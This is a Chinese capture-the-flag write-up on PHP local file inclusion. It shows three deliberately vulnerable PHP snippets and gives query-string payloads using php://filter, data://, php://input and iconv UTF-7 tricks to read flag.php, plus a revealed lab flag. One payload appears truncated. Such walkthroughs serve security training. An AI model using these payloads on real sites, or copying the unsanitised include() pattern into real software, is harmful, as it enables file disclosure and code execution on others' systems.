CTF文件包含
1、绕过file_get_contents
漏洞代码
<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET["file1"]) && isset($_GET["file2"]))
{
$file1 = $_GET["file1"];
$file2 = $_GET["file2"];
if(!empty($file1) && !empty($file2))
{
if(file_get_contents($file2) === "hello ctf")
{
include($file1);
}
}
else
die("NONONO");
}
需要绕过file_get_contents($file2) === "hello ctf",才能利用文件包含漏洞
可以使用php://input或者data伪协议进行绕过
payload1
file1=php://filter/read=convert.base64-encode/resource=flag.php&file2=data://text/plain,hello ctf
payload2
file1=php://filter/read=convert.base64-encode/resource=flag.php&file2=php://input
添加post数据:hello ctf
2、php://被禁用
漏洞代码
<?php
show_source(__FILE__);
echo $_GET['hello'];
$page=$_GET['page'];
while (strstr($page, "php://")) {
$page=str_replace("php://", "", $page);
}
include($page);
?>
利用data伪协议进行绕过,执行php代码,执行系统命令,读取文件。
payload
page=data://text/plain,
3、利用iconv.*进行绕过
<?php
highlight_file(__FILE__);
include("./check.php");
if(isset($_GET['filename'])){
$filename = $_GET['filename'];
include($filename);
}
?>
过滤了很多,可以用iconv
payload:
filename=php://filter/convert.iconv.UTF-8.UTF-7/resource=flag.php
得到转化后的字符串
+ADw?php +ACQ-flag+AD0'cyberpeace+AHs-ec0e4cf23f0b29f61d88299a69b0fb80+AH0'+ADs
再将其转为UTF-8即可
<?php
$a = "+ADw?php +ACQ-flag+AD0'cyberpeace+AHs-ec0e4cf23f0b29f61d88299a69b0fb80+AH0'+ADs";
$b = iconv("UTF-7","UTF-8",$a);
echo $b;
?>
// <?php $flag='cyberpeace{ec0e4cf23f0b29f61d88299a69b0fb80}';
test文件